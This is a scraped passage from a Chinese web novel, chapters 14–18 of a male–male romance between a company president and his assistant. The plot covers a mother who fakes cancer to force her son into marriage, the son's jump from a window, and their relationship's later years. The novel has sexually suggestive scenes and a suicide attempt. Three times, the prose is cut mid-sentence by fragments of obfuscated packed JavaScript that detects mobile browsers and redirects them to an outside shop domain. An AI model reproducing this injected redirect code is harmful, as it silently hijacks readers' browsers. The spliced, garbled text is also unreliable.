l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13710968|144550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 萧疏嘟囔,“放心,没蚊子,”不知道的以为他在做法呢…… 方闻钟心砰砰跳着,不敢动,也不敢说话,他就那样握着他的手指,过半天,捏一下,再捏一下。 “要不明天去医院吧?”方闻钟小声说。 萧疏觉得自己能行,连他的私人医生都不想找,方闻钟却被他这幅柔弱样子搞心慌了,萧总何时这样过? 他未见过他生病后的样子,正如他也未了解过他下班后的生活。 说实话,以前,他们并不怎么亲密。 方闻钟刚有点出神,指尖痛了一下,萧疏闭着眼:“去医院做检查。” 两人心照不宣,知道他说的是身体检查,每年初,他们都会去做,才能保证床上关系健康和谐。 “好,”方闻钟有点羞。 他的呼吸声平稳下来了,也退烧了,方闻钟才轻轻关上房门,出来。 第二天,萧疏捂了一身汗,他身体素质太好,基本已经不咳了,一场感冒迅速过去。 他冲着澡,方闻钟不让他把水开太凉,他嫌他话多,一把把浴室外交代这交代那的方闻钟拉进来! 人站在水下,方闻钟眼皮跳动,头发很快湿漉漉,淅淅沥沥流下水,衣服也贴到了身上。 “萧疏!”他抬头。 正好方便了萧疏捧住他的脖子,把自己的唇瓣狠狠印在他鲜艳的唇上。 唔,唔。 明明就站在浴室里,方闻钟却有了呛水的感觉,腰上的大手力道太重,昨天握出来的指痕还没好呢,扭来扭去,萧疏直接把他推到墙上。 也不用抓着他的腰了,指尖捻在衣服上。 方闻钟一下像被当头一棒,清醒过来,只怪他衣服太湿又被萧疏捉弄到了。 他还笑,还换了另一边。 啊啊啊啊啊,方闻钟想踹他。 一场澡洗得像打仗,洗完后从浴室出来,萧疏像凯旋的大将军,除了胸肌受了一点小伤,被抓了一把,其他毫无大碍。 好像方闻钟能给他去病气似的。 而方闻钟,像个被摧残过的路边小野花,他呆愣愣的,坐在地上,萧疏会把手指贴近他嘴边说:“自己的也嫌弃啊?” “我的不是都咽下去了吗。” 方闻钟哭着扭,为了躲还直接把他的手咬住,萧疏笑得很坏。 …… “主动吃啊。” 他不想再见到早上的太阳了。 躲萧疏躲的明明晃晃,早上没做到最后,却比昨天更疯狂。 方闻钟换了衣服,把自己里里外外洗干净,才不情不愿的在肚子咕噜咕噜叫中,下楼去。 门铃响了,他打开。 外面站着的是萧疏的父母,他见过几次面,他们手里还提着散发着热气和香味的食盒。 一时间,双方脸上的笑容都僵住。 萧夫人侧过头,顺着方闻钟往他身后看。 正好看到,萧疏没好好穿衣服,浴袍松散的披着,从楼上下来,一见到人,才慢条斯理地拉上带子。 胸膛一片红痕,脸上餍足。 方闻钟惊恐地转过头! 15. 第 15 章 “不是叫保姆来了?” “你们怎么来了?没事?前几天听说我不回国,还献殷勤要出国去陪我过年呢,结果,过到哪儿了?这次又是准备去哪儿玩?” 沙发上萧夫人和萧父坐一排,方闻钟单独坐一排,三个人像小学生一样,乖乖双手放在膝前,听萧疏训话。 “你坐在这里干什么?”萧疏还把方闻钟的脸掰了掰,让他去餐厅先吃饭,“别等我,昨晚照顾我一晚上,辛苦了。” 萧夫人和萧父偷偷看萧疏。 方闻钟实在尴尬的看不下去!萧疏刚才那样子,太不正经了!谁能相信他早上什么都没做昨晚还生病呢!他偷偷咽口水,幸好自己收拾的整整齐齐,没有任何异样。 他不好意思地看看萧疏父母,眼见这里实在没他待下去的必要,只好先去餐厅了。 他坐在椅子上,桌前摆着十几道各式各样丰富的早餐,肚子的确很饿,馋味也被勾起来了,方闻钟机械地挨个往嘴里塞,耳朵还偷偷竖起,想听那边的内容。 此时,他还不知道,萧疏已经跟父母说过,他有一个长达五年的男床伴…… 萧夫人刚进来,也怀疑的目光落在方闻钟身上,萧父甚至都对方闻钟臭脸了,可再看看他家儿子那副不动声色的模样,以及嘱咐方闻钟吃早餐,照顾生病的他,又觉得不像…… 还有,方闻钟太乖了,今天看着,明明比萧疏只小两岁,怎么还跟个小孩儿一样,方助理都跟在萧疏身边五年了,所以不可能是他,他们立马排除了唯一正确答案,死死盯着萧疏。 萧夫人气呼呼地看他胸前的红色,就差直接问,你那个床伴小妖精,这几天是不是一直跟你在一起,还跟你出国了! 听方闻钟刚小声说过,萧疏感冒了,所以他们理所当然以为那是他回来之前弄的。 萧疏已经撂下杯子,狠蹙眉头,“妈,你没事干了甩开我爸去找别的老头,别一天净盯着我床上的事。” 萧夫人险些没被气死,萧父都直喘粗气。 “做点有意义的事好吗,你们能阻止我还是能改变过去?知道了又怎样?甩对方几个亿?我说了我不想联姻,别再给我整幺蛾子。” “顾芙雅的事我还没说你们呢。” 萧父一拍桌子,“我是你爸还是你是我爸!”跟他们说话像什么样子!好像全世界都是他下属,理应听他训斥。 吓得远处的方闻钟一噎,萧疏倒是展开眉头,“你要这么想我也没办法。” “行,我们可以不管你,你给我个准话,三十五岁老老实实结婚,做得到吗?”萧夫人道。 萧疏抬起下巴,看到那边方闻钟在偷看,把笑意掩下去,嗤道:“行。” 父母俩松了一口气,还是憋着什么坐立难安,萧父气鼓鼓道:“方助理一直跟在你身边,我还不相信他不知道了,我去问他他敢不跟我说?” 被萧疏抓包了,方闻钟赶紧回头,假装自己在认真吃饭,萧疏看他爸,“行,我把他叫过来,你当着我的面问,你就问:‘萧疏他有个五年的床伴,两人感情很好,你知道是谁吗?’。” “方闻钟。” “哎,”萧夫人一把按住萧疏的胳膊,并低声警告他,“你别以为我不知道,你在旁边看着,不就是威胁方助理吗,他哪敢说!” 萧疏哈哈笑了,“行了,”他抽开胳膊,“我要去吃早饭了,你们吃了没?” “没,这么早的给你送早餐,我们哪有空吃饭。”萧夫人和萧父一起,跟萧疏过来。 萧疏不理她,“少感动自己。”他爸妈他自己不清楚?每天睡到九十点起,这么早能吃过早餐就怪了。 在餐桌上他们知道,方闻钟之所以在萧疏这里,是因为他过年没回去,租的房子出问题了才借住,结果,萧疏一回来就任劳任怨地又照顾他,给他当牛做马。 萧夫人都心疼他了,自己儿子不是个好东西,奴役人起来不讲道理,“你辛苦了,”给他夹菜。 方闻钟受宠若惊。 本以为这次吃饭是他和萧疏父母最近见面的唯一一次机会,结果,第二天,他们的家庭聚餐还把方闻钟也一起加上了。 方闻钟开始死活都不去,萧疏和萧夫人叫他都客气婉拒,直到萧父说:“去呗!大大方方的,就只有我们四个人,你怕什么,萧疏给你脸色我治他。” 被这样说了,还被三双目光盯着,方闻钟只好答应。 也知道他父母是好意,听闻他一个人过年还在外面,可怜他呢。 哪怕是简单的家庭聚餐,他们选的地方也是豪门家族经常莅临的,所以难免碰上认识的人。 乔晟看到跟在萧疏旁边的方闻钟,他们站在萧父和萧夫人身后,意味深长又诧异地挑了个眉。 方闻钟不知道他什么意思。 乔晟父母对乔晟,那真是冷眼相对,他有个大哥,乔晟在家就像个怎么都看不顺眼的透明人,尤其,他喜欢男人,和对方来来回回好多年,这件事圈里不是秘密,所以父母看他更横眉冷对了。 看到萧疏身边也跟着一个男人,顿时阴阳怪气。 萧夫人听了好久才听到她在隐晦什么,萧疏冷着脸,乔晟已经拉住他妈不要再作死!方闻钟尴尬又无措! 气上头了,势要争个搞下,萧夫人一把拉过方闻钟,“是!我儿子怎么着我乐意!小方我也喜欢的很!轮得到你操心吗!我两个儿子多享福,像你,你小儿子外面公司都做到顶尖了,最后和你有半毛钱关系吗!”她在挑拨。 萧父倒是懒得跟妇人计较,直接把两小的叫走,跟着他!他们擦肩而过,压根不给乱发脾气的人一个眼神,他还阴阳怪气道:“小方啊,幸好你遇到的是我们……” 方闻钟在后面大气都不敢喘,低着头不知道在想什么,两方分开,萧夫人还气呼呼,乔晟拉着他父母,对那边偶尔回头的方闻钟笑了一下。 他是挺有福气。 饭桌上,萧疏出去接了个电话,有事。 三人聊着聊着,许是刚才的意外,萧疏现下又不在,萧夫人鬼鬼祟祟道:“方助理啊,我问你个事,”方闻钟的手机也响了,是一条微信,方老师发过来的图片。 他点开。 萧疏也打开刚医院那边发过来的一系列资料,他和方闻钟的身体,都没事。 “萧疏是不是有个床伴啊,你平日里一直在他身边,你见过他吗?” 方闻钟脸白的像僵尸,一张检查单,一张方老师的医院检查单。 萧疏特意看了眼方闻钟的胃部检查,没事。 方老师,胃癌晚期。 方闻钟一下踉跄地爬起来,动作大到把椅子推得滋啦响,吓了所有人一跳! 萧疏再回来时,神色如常,看到方闻钟不在,他疑惑,“他去哪儿了?” 萧夫人不太相信地说:“难道是我们把他 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突然,要关门时,他从床的这一头,看到一个蓝色的东西。 捡起来,是个小纽扣,他放在眼下,轻轻把玩着,如果没看错,这是他以前衬衣上的扣子,怎么会出现在这里…… 半晌,他收起来,想带走,又笑了一下,随意扔在床头柜上。 给他留着。 他倒要看看方闻钟躲避到什么时候。 回到老家,敲开房门,看到方老师无所事事的样子,她端着一个水果盘子正经过客厅。 方闻钟来不及说别的,一身风尘仆仆,说的第一句话就是:“妈,你没事吧?” 他眼睛里全是红血丝,还有强忍着的泪水,伸出胳膊想要抱方老师一下,又不想太暴露自己的脆弱。 此时,他们之前闹的矛盾,已被他抛之脑后。 方老师原地僵了一下,然后才斥道:“你还知道回来啊!是不是等我死了你才会来!” “过年谁家儿子不是大包小包的回来,就你!别管我和你爸了,让我们去死!” 透过没关的门,方闻钟看到,他一直瘫痪的父亲,还像个植物人,一直躺在床上没醒来。 方闻钟狠狠抱住方老师,“妈,没事,我带你去外面检查,我们这边的医院小,现在癌症已经不可怕了,只要好好治疗,我爸我也会接走的,”方老师推开他。 “我没生病。” 方闻钟不动。 “那都是骗你的,方闻钟,今儿要不是看到你妈我,得癌症要去死了!你是不是永远这么狠心!谁家孩子和父母有仇!我还不是为你好叫你回来!” “你看看!为了你回来过年能吃上好的,我买了那么多东西,辛辛苦苦做了十几天,结果!”方老师越说越愤怒,“我告诉你,你就跟你公司请假,说你妈生病了,你在这边给我好好相亲一个月!” “我还不信没有你看上的人了!” “我跟邻居们都说了,让他们好好介绍,你可是一年能挣几十万的高薪阶层呢……” 方老师的背影,慢慢走向厨房。 可她刻薄又恶毒的神色,方闻钟这辈子都忘不了。 它们全化成了这辈子他对亲情最丑陋的印象,“妈!” 他撕心裂肺。 无人在意。 16. 第 16 章 方闻钟在家包头睡了两天,这两天方老师喜滋滋地每天都去外面炫耀,“我儿子回来了,是,是,他工作忙,没办法,不然也给我们买不了房子。啊,他好像一年年终奖都有上百万呢,我们家债也还清了,孩子以后自己过自己的,我们可不给添负担。” “你们得好好介绍啊,学历、工作、长相,拿不出手的可不要啊……” 方闻钟像没听到,方老师和别人说什么他都没反应,哪怕那些人,那些话,就发生在他家门口。 方闻钟沉默地吃着早餐,他和方老师整整两天,除了刚来,再没说过一句话。 外人看着,方闻钟好是好,怎么看着像傻了一般。 是不是精神不正常啊。 方老师回头瞪一眼方闻钟,“没事,”她放大声音,“他就是太累了。” “嗯,对,这次会在家多待一段时间呢。” 她们恭喜她熬出了头,有这么懂事能干的儿子,方老师喜的皱纹都加深了,表情有些做作的难看,她也不在意。 要关门了,还特意看了眼对门抱孙子的老太太,这次,她不用忍了,自以为大方又体面的不跟人计较。 那老太太了解方老师的为人,她越是这样,说不定平日里越是怎么瞧不起他们呢。 也哼了一声,没好气地甩上门,骂骂咧咧。 “吃完把碗洗了,把那个也吃了。” 方闻钟越过饭桌,什么都没听到似的,进自己屋,关门,锁门。 “跟我欠你似的,”方老师嘴里没消停过,边说边把方闻钟吃过的桌子都收拾干净了,方闻钟用极度的沉默抵抗,用最强烈的方式表达愤怒! 可是,方老师一点没意识到。 或者,意识到了也不当回事。 他们是母子,方闻钟难道还真能一辈子不管她?之前闹得多厉害,还不是一听她说生病了立马回来了。 女人哼哼唧唧的唱歌,隔壁就是他一直醒不来的父亲。 方闻钟躺在椅子上,感觉自己像个行尸走肉,这一刻,恨不得得了胃癌要死的人是自己! 萧疏给了他三天时间,公司已上班,方闻钟还杳无音信,他生气了。 主动联系他,“方闻钟,你要辞职就给我打正式报告,闹什么脾气。” 男人的冷漠,刺伤,已经被方闻钟周围一圈名为悲伤的透明防御罩抵住了,他听着萧疏的声音,任凭眼泪流下来,躺在床上说:“萧疏,我妈生病了,胃癌晚期。” 萧疏一下从椅子上站起来。 “嘿,骗你的,”方闻钟嘴角笑着,哭腔却越来越大。 很快,他嚎啕大哭,为了不让方老师听到,他把自己死死裹在被子里,声音又闷又难过,“萧疏,你说怎么有这样的母亲呢?她儿子是不是非得是个结婚生育机器,她才满意啊。” 方闻钟只透露了几句消息,可凭敏锐的萧疏!以及了解一点方闻钟母亲催婚的萧疏,立马抓到并推测出了重点! 方老师,为了逼方闻钟相亲结婚,骗他说自己生病要死了。 方闻钟信了。 才急急赶回去。 门被使劲敲响,一推发现锁了进不来,方老师砰砰砸,方闻钟立马挂了电话。 门内外都沉默,许久,方老师说:“有本事你一直别出来吃饭!还显着你了。” 第二天,继续砸门。 第三天!方老师砸门无果,甚至引来外人围观,她叫了开锁师傅,直接把门撬开! 然后是他们一家人的时间! 方老师砰把外门关上,然后回来就对着方闻钟的脸呵斥,方闻钟退了几步,随她骂,随她上手,方老师看在她的拉扯下,方闻钟像个面团子,更气不打一出来! “方闻钟,你是不是盼着我得癌症呢!我没生病你很失望吗!” 方闻钟猛地抬头!他眼睛里的恨意还真把方老师震慑了一下,方老师气软了点,“快点收拾收拾,今天约的姑娘可是我挑的第一个!” 方闻钟真的很想吼出来!我他妈喜欢男人! 他也是真的吼出来了,方老师一下立在原地,像傻了一般,然后,再也不相信地回应,“不可能!你说什么胡话呢!” 她像要疯魔了一般,“你再说胡话,我就,我就先把你爸弄死,再自己跳楼!省得我们丢人现眼!” 方闻钟的心里被扎得千疮百孔,他虚弱地颤抖着,不再跟他们争辩了,男人也好,女人也罢…… “不用,我自己跳。” 他一下打开窗,从三楼一跃而下。 - 方老师骗别人说方闻钟是在家修窗户呢,才不小心掉下去摔断腿了,哎呀,外人无不唏嘘,相亲也没见上,“下次,下次,”方老师真被吓着了。 到了医院,想进去看看儿子,被两个保镖直接在外面拦住。 “里面是我儿子,我儿子。” 黑衣人面无表情。 她开始闹,“你们这样是犯法的知道吗?你们是谁啊!凭什么把方闻钟接走!不让我进去!” 最后,方老师以禁止喧哗,被人赶出去了。 萧疏推开病房门,从里面出来,俩保镖朝他点头,萧疏嗯了一声,冷漠又霸道。 那天,方闻钟掉下去,刚好砸在萧疏的车上! 他来看他,就迎天接到了这么个大礼物! 不可否认,那一瞬间,萧疏第一次,心脏都快骤停了! 还好,方闻钟幸运,只是摔断腿,人还清醒着,从车上滚下去,一张脸扭曲,还不敢置信看着抱住他的人,萧疏?他怎么会在这里? 萧疏出来前,看着眼神无神地盯着天花板的方闻钟,“我来处理,”他只说了这四个字。 接下来,一周! 左邻右舍发现方家都搬空了! 神奇! 方闻钟父亲,被萧疏一挥手送到了专业疗养院,不用方老师操心照顾。 方老师,被打包送到了偏远山区,萧疏第一次来方家,他宛若主人公似的,在方老师害怕戒备的神色中,这里看看,那里摸摸,完了看到方老师书架上一堆好多年前的教材用书,他问她,“你以前是个好老师?” 方老师本不予理会萧疏,他谁啊! 可萧疏的一句话,就让方老师僵在原地。 “方闻钟已经结婚了,”他给她看一眼照片,照片上,是方闻钟和一个漂亮到有些不真实的女人,他们的结婚照。 方老师睁大眼睛。 “她是我们萧家人,”他笑了一下,鄙夷顿起,“你不用知道萧家是谁,你只需要知道,是你高攀不起的,而且,也不准备认识你,让你高攀,我们只要方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13710970|144550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闻钟。” “什么意思,”方老师嗫嚅,“他,他做了上门女婿?” 萧疏思考了半天,“你要这么说也没问题。” “再怎么也不能不要妈啊,他为什么不告诉我?你不会是骗我的吧?” 萧疏:“还要我给你拿更多证据?”看他蹙眉,方老师一噎,害怕他说出一句:你配吗? “给你钱,送你去干别的,怎么样都行,别来打扰他们,你也不想因为自己的浅薄、丑陋,让方闻钟丢人,因此连累他被赶出去吧……” 嫁入豪门,和喜欢男人,方老师相信哪一个? 她选择了前者。 怔忡道:“那怪,难怪他谁也看不上,原来是已经和漂亮姑娘结婚了啊,”明明是自己做的假,萧疏听到,还是不开心了一瞬间,方老师小心翼翼地盯着萧疏手里的照片,“那个结婚照,你可以给我吗?” 萧疏无所谓,给她。 “不用再去看方闻钟了,他老婆,也就是你儿媳妇,是一个不讲理的人,你最好立马离开。” “好,好,我走,”方老师经历的这一切,打破了她十来年的幻想。 “去当个好老师,”别再当母亲。 听到方老师和方父的离开,他们没有见上最后一面,方闻钟又愣,又听闻萧疏是怎么胡扯骗他妈,以及威胁她走的,又笑得腿快裂开了。 他快把自己笑岔气,萧疏凭空给他造了个结婚对象,连结婚照都出来了! 方闻钟扯他,“给我看看,什么样的照片?”能让他妈立马信了。 “假的有什么可看的。”萧疏感觉自己处理的很合理,既全面,还不失温情。 “那万一配不上我怎么办?” “哼,”萧疏毒舌,“你还配不上她呢。” “AI呀?” “嗯。” 离开老家,方闻钟都有点迟疑,这么着,就算全部解决了吗?他心里还有一个疑虑,方老师,是真的信了他结婚了,结婚对象看不起他家,不愿跟方老师接触,还是不想接受另一个,哪怕有一丁点的可能:他是同性恋。 方老师在自欺欺人。 方闻钟没告诉萧疏,他对父母坦白性向的事。 萧疏也再不追究,方闻钟那天听到萧夫人的问话,是不是逃跑。 他瘸着腿,在萧疏后面一颠一颠,萧疏回头诅咒他,“腿不想好了,你再去跳一次楼啊。”本事大了,他真是让他刮目相看。 方闻钟憨厚道:“这么多人看着,被人推着好怪啊,”他感觉自己走路没啥大问题了。 “嘿嘿,”他欣喜地看着男人,眼里的感情藏也藏不住。 方家,留下了一个传说。 方闻钟攀上了高枝,一跃成他们再也触碰不到的人物了,没看那天那男人又是保镖,又是上千万的名表豪车的,连方老师他都不屑一顾。 豪门果然没有好人。 他们揣测方老师在享福,方老师此时苦兮兮地在大山区,从头再来她的教育事业。 也算是得偿所愿,或许,在这里,方老师能慢慢自洽,放过方闻钟,也放过她自己。 方父,得到了更好的照顾,方闻钟也能时常去看他。 飞机上方闻钟做了一个梦,梦到萧疏给他妈看的照片是他和萧疏,一下把他吓醒了! 17. 第 17 章 没经过方闻钟同意,萧疏直接把他接到了自己家,还是那个房子。 “请个护工,”负责照顾他生活和工作,家里的保姆是女性,不太方便。 “不用了吧,”方闻钟挠挠头,“我自己拄个拐杖也可以。” 萧疏嘴唇微抿,刻薄道:“对自己好点吧,方闻钟,舍不得花钱也没见得你妈省着点钱用来监视你算计你啊。” 他讲话可真是不留情面,方闻钟知道自己最好听话,否则,不意外他还会说出什么呢…… 果然,萧疏边下楼梯边说:“休想让我照顾你,还想占我便宜。” 方闻钟愣在原地,汗颜,萧总,你属实想多了。 在萧疏家借住了几天,他就打算搬去他的出租屋,这边只是暂留,那边才是他的新家,出租屋房东也腾出来了,给他发了照片,还给了留了食物和鲜花,按之前说的第一个月房租少三分之一。 护工和他一起过去,这两天有护工的确方便很多,摔断腿说严重不严重,但还是有点影响日常生活、工作。 “我爸的费用我会付清的。” “嗯,”萧疏没抬头,“你直接跟疗养院那边联系。” 床头柜上的那颗蓝色小纽扣,方闻钟也看到了,他在萧疏眼皮子底下,自然而然地说:“谢谢,你帮我找到了,”萧疏放在这里,他以为,他从来不记得这是他的东西…… 这颗纽扣收藏于四年前,一次萧疏穿着衣服和他做时,他不小心拽下来的,萧疏没发现。 萧疏眼睁睁地看着他把纽扣收起来,放在自己的东西里,嘴角莫名,调侃他,“这是你的?怎么只有一颗?它对你有什么意义吗?” “嗯,我只得到了一颗,很珍贵的东西,意义……”方闻钟乖顺地顺着他的话说,说到半晌,他突然意识到,他跟萧疏说这个干什么! 一抬头,果然萧疏抱着胳膊,斜倚在门边,笑着望他。 顿时羞窘。 半个字也不说了。 萧疏懒得再逗他。 一切都在往好的方向发展! 腿好了!工作跟上萧疏的步伐,最忙的时候已经过去了!他去看过一次父亲,方老师也给他打过一次电话,他没有接,家里,就算这样了。 他和萧疏的关系,还是那样,萧疏白天有多狠地操练他,晚上就有多狠操他。 他们很契合,各个方面,一天二十四小时,丝丝缕缕地穿插进对方的生活,方闻钟甚至有种错觉,萧疏的日常,除了工作,只有他! 这种孤寂又小心翼翼的幸福,让方闻钟忘了曾经萧夫人问过的话,萧疏有个床伴,你见过吗? - 方闻钟学会了开车,买了辆新车,同事纷纷庆贺,他却只想载萧疏一次,萧疏不太满意地看着他只有二三十万的车,还是屈尊驾临坐上去,结果,被方闻钟的烂车技黑脸。 下车后萧总脸色发白,强忍着要吐,只对方闻钟说:“以后你的车和你,最好别让我同时见到!” 方闻钟赔礼道歉,萧疏甩开他抓过来的胳膊,最后方闻钟踮起脚,悄悄说:“今天晚上任你处理嘛,你还要怎样。” 萧疏转头,晲他,“你说的?别反悔。” 男人已满足地离开了,方闻钟渐渐放缓脚步,含情脉脉地看着他,萧疏,可真好哄。 萧疏长达一个月不在公司,去国外处理那边的事务,这边就放心交给方闻钟一个人处理! 方闻钟身上一下子落下巨大的重担! 这种逼迫下,除了让他的业务能力突飞猛进,萧疏能处理的所有工作,他都能上手,除非要萧疏亲自做决策,还培养出了他一点萧疏身上的总裁气势。 独当一面,以总助的身份暂理总裁,要让别人信服,他就必须强势!不留情面!工作是工作!人是人! 所以最开始,和方闻钟级别差不多的经理们还都跟他打哈哈,但是最后,无不有点怵他。 也许,一直以来身上的压力,来自于方老师,突然没了,也可能,萧疏给了他足够的稳定和安全,所以方闻钟很快像变了一个人! 他意气风发!阳光明媚!充满锐气又锋利,现在黄可可见了他,肯定不会有一丁点再怀疑他公司高层的身份了。 许久未见,两人都有点激动,萧疏抚着身上的人后背说:“你去晟心那边任职怎么样?” 晟心是乔晟和他爱人的名字组合,晟心科技,他们占了40%的股份呢。 方闻钟一下子抬起头,以为萧疏要让他离开他,他不说话。 萧疏看出他的紧张了,继续道:“那边项目部得有人一直盯着,乔晟不顶事,我最放心你。” 他说的没有问题,方闻钟喉咙发紧,“那你这边呢?” 萧疏错过他的眼睛,有一下没一下地抚摸着他的唇瓣,“没有你我顶多更累点,你手下的那几个助理都还行,而且,我又没说让你完全调过去?”萧疏疑惑,方闻钟主要还是他的总助,只不过在那边兼任一下其他职务罢了,“还是你想自己去闯?” 工作上,如果方闻钟想要,萧疏会放手。 这点他倒挺大方。 方闻钟立马摇头,趴下去枕在萧疏肩膀处,“不用了,我听你的就行。” 第一年,方闻钟以项目部经理的身份进驻晟心科技。 第二年,方闻钟还是萧疏的左膀右臂,是除他外,公司话语权最大的一个人。 第三年,有国外公司花巨大的代价,来挖方闻钟!猎头给他的承诺和待遇是在萧氏集团的十倍之好,外人都在看热闹,甚至有朋友跑去萧疏面前提醒他,或揶揄他,不看紧点,不怕人跑了? 方闻钟拒绝了。 没有任何理由。 第四年,萧疏身边出现了一个小男孩,二十三岁也不小了,但对三十多的他们来说就是小孩子,他刚来公司上班,就冒冒失失地撞到了萧总。 那天,方闻钟就站在萧疏身后,他们在电梯里,听那小男孩道歉了整整五分钟。 后来,还有几次不知偶然,还是人为的机会,他们经常见面,那男孩子甚至出现在萧疏和他朋友们的聚会上,当然,方闻钟也在,方闻钟现在可不光是萧疏的助理。 提起晟心,谁不知道他。 就连乔晟也自称方闻钟是他老大,也许有开玩笑的成分,但不可否认,方闻钟的成就,已经很高。 他坐在他们一帮人的局里,不再是需要给谁敬酒的,他已经和他们,坐在了平等位置上。 从一个家里没钱,只知道拼命学习,拼命赚钱的贫穷苦孩子,什么也不懂,看起来又土又畏缩的大学生,走到今天这一步,方闻钟花了九年。 那男孩子跑来给萧疏敬酒,他很乖,长得挺漂亮的,爱笑,一双眼睛一直湿漉漉的,看起来很深情,有些懂行人看出来了,这是故作姿态,想攀上萧总呢! 一帮人起哄! 那男孩子竟然也没害羞,或躲避,竟然忍着诸多目光和猜疑,依旧稳当当地半跪在萧疏面前,“萧总,不喜欢我吗?给个面子好不好,”他仰着头,像最无害的兔子,在朝他爱慕的强大的主人献祭,那杯酒,被他颤颤巍巍举在萧疏面前。 萧疏接过来。 就当大家以为成了一桩好事!准备尖叫喝彩!就当那男孩子喜滋滋地准备站起来,就见萧疏随手把酒杯递给旁边的方闻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13710971|144550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钟。 方闻钟接过。 如果是五年前,他差不多也是跪在萧疏面前的那一个,三年前,他或许还会不自在,害怕,在这种场合下不知接下来该怎么办。 而现在,他只是摇了摇酒杯,也没看萧疏的神色,随手把它倒了。 杯子扔桌子上。 吓了好多人一跳。 男孩子一张脸又惊又惧,刚才的害羞全变成了青白,他看着方闻钟,萧疏却教训他道:“知道公司有萧总,那你知道萧总都要看脸色的一个人是谁吗?” 他半是玩笑半是正经的语气,指了指方闻钟,“是我们方总。” “下次敬酒,别忘了还有他,”萧疏用杯子拍了拍男孩子的脸,徒留他一个人僵硬,其他人也差不多的神色,和方闻钟并肩离开。 这场酒会后,萧疏和方闻钟在一起了的传言,甚嚣尘上,以前,隐隐有猜测,这几年谁都能看到,他们出双入对,有时候也不再避着别人,萧疏单身,方闻钟也是身边男女不近,于是,就有猜测,方闻钟是不是和一手提拔培养他的萧总在一起了! 今天,传言隐约见一丝落实的眉目! 可是,无人再敢随意说二话,不敢调侃,传播,如果他们不想公开,那这个秘密哪怕大家都能猜到,也要烂在肚子里! 面面相觑,男孩子难堪的神色都被忽略,出了酒会,上车前,方闻钟说:“怪我吗?坏了你的好事。” “嗤,”萧疏和方闻钟距离极近,他们靠着车面对面站。 方闻钟额头的头发已梳起来,黑框眼镜也换了,依旧是黑边,但极简又高奢,配着他光洁的额头,也显得高不可攀了几分。 萧疏的唇落在他额头上,“不要随意拿那种货色质疑我的审美。” “可是好多年前,我也是那样,”方闻钟笑了一下,突然说:“我还比不上他呢,”二十三四岁的他,没他漂亮,没他知情趣,只会在萧疏身下乖乖忍着配合。 “当初,为什么是我呢?” 他们的第一次,相当意外,两人都不清醒,而第二次,萧疏提出要求,他之所以答应,是因为,他们四年前就已经见过了,或许萧疏已经不记得,可曾经,是萧疏把他从低谷里拉出来,那段时间,高三家里最困难的时候,是遇见萧疏,他才能一直挣扎着,最后,命运眷顾,让他走到他身边。 彼时,萧疏虽然只比他大两岁,却已大学毕业,他跳级念书,掌控公司也理所当然。 碰上浑浑噩噩的方闻钟,那时萧疏和他父亲来学校资助有困难的学生,方闻钟本想接受他们的资助,名额已经交上去了,却在老师办公室门外碰到了萧疏。 萧疏完全不像他的同龄人,他那时候或许是中二病?或者好心发作?让他话痨地拉着方闻钟唠了好久,印象最深的就是几句话:凭自己的努力……想要的要自己去争取……总有一天,所有都会得到,所有都会被你踩在脚下…… 方闻钟就是被这么没道理的几句,没道理的一个人,激励了他整整四年! 直到大学毕业,找工作,他突然站在了萧疏面前!萧疏选择了他! 他记得这个俊美的男人,萧疏已经完全忘了,那一段可能他的黑历史…… 资助名额被他拒绝,他今天仍不知道,“萧疏,为什么会是我呢?” “我说过,我对你很满意。” 第一次,在床上就让他有很好的体验,他又不是滥交的人,自然不会再找别人。 “这些年,从未不满意过。” 方闻钟笑了,走过了九年,好像也没必要再纠结。 九年,方闻钟突然心痛了一下,有什么,被他忘了。 18. 第 18 章 流言传着传着萧父和萧夫人也听到了一点儿,而且,这些年,眼看着萧疏虽说以后会老老实实结婚,可他和哪个女人走近过! 身边只有方闻钟! 其实没有外人的传言,萧夫人也会多想,萧疏是个工作狂,一天十几个小时的上班时间,没机会让他去乱搞,而下班后,要么回自己家,要么来老宅这边,连那边的保姆都说,除了方助理,没有人进去过。 所以还能有谁呢! 大概确定了这个消息后,萧夫人觉得天都快塌了! 怎么会是小方!他们可是一直在她眼皮子底下的啊,看着也不像和萧疏胡来的人,懂礼貌,有分寸,工作能力更是不用说,可正是这样,萧夫人才觉得难搞。 外人,她顶着萧疏母亲的面,见一面,教育一通,大不了多给点补偿,让他们直接断了,萧疏难道还真能为一个床伴跟她反目成仇? 可是方闻钟,她下不去手,而且,他们掐指算算,快十年了! 真是随便说断就能断干净的吗! 工作怎么办,往后还抬头不见低头见的。 萧夫人掐着萧父的手就是惆怅,萧父也愁,隐约还记得,他们曾经的家庭聚会上,他对方闻钟说:大大方方的,一起去,就我们四人! 为了跟乔家争一口气,萧夫人拉着方闻钟,就承认喜欢他这个假男儿媳,萧父还口嗨,幸好你遇到的是我们…… 现在,啪啪打脸。 方闻钟躲着他们,虽然表面看不出来,他很尊敬萧疏的父母,每年都会见几面,萧疏父母对他一直印象很好,可越是这样,方闻钟越不敢靠近。 